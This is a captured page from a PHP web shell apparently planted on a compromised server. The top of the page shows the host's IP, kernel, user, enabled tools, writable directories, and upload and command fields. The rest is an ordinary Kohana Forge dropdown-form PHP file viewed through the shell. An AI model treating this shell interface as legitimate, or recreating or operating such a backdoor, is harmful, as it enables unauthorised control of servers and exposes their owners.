403Webshell
Server IP : 23.94.149.180  /  Your IP : 216.73.216.147
Web Server : nginx/1.20.1
System : Linux deadrock 5.14.0-741.22.1.el9_9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Nov 12 15:18:14 UTC 2026 x86_64
User : apache ( 48)
PHP Version : 8.6.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /files/webmaint/kennethmyatt/gallery3-close/modules/forge/libraries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /files/webmaint/kennethmyatt/gallery3-close/modules/forge/libraries/Form_Dropdown.php
<?php defined("SYSPATH") or die("No direct script access.");
/**
 * FORGE dropdown input library.
 *
 * $Id: Form_Dropdown.php 3326 2008-08-09 21:24:30Z Shadowhand $
 *
 * @package    Forge
 * @author     Kohana Team
 * @copyright  (c) 2007-2008 Kohana Team
 * @license    http://kohanaphp.com/license.html
 */
class Form_Dropdown_Core extends Form_Input {

	protected $data = array
	(
		'name'  => '',
		'class' => 'dropdown',
	);

	protected $protect = array('type');

	public function __get($key)
	{
		if ($key == 'value')
		{
			return $this->selected;
		}

		return parent::__get($key);
	}

	public function html_element()
	{
		// Import base data
		$base_data = $this->data;

		unset($base_data['label']);

		// Get the options and default selection
		$options = arr::remove('options', $base_data);
		$selected = arr::remove('selected', $base_data);

		return form::dropdown($base_data, $options, $selected);
	}

	protected function load_value()
	{
		if (is_bool($this->valid))
			return;

		$this->data['selected'] = $this->input_value($this->name);
	}

	public function validate()
	{
		// Validation has already run
		if (is_bool($this->is_valid))
			return $this->is_valid;

		if ($this->input_value() == FALSE)
		{
			// No data to validate
			return $this->is_valid = FALSE;
		}

		// Load the submitted value
		$this->load_value();

		if ( ! array_key_exists($this->value, $this->data['options']))
		{
			// Value does not exist in the options
			return $this->is_valid = FALSE;
		}

		return parent::validate();
	}

} // End Form Dropdown

Youez - 2016 - github.com/yon3zu
LinuXploit